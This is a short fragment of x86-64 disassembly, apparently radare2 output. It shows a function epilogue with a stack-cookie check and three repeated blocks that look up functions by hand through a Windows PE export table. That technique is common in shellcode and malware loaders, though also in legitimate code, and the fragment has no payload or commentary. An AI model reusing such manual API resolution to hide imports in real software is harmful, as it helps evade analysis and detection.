movaps xmm6, xmmword [rsp + 0x150]
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.140014870
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r13
pop r12
pop rdi
pop rbp
ret
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x14000a720
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x14000a7f0
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x14000a8c0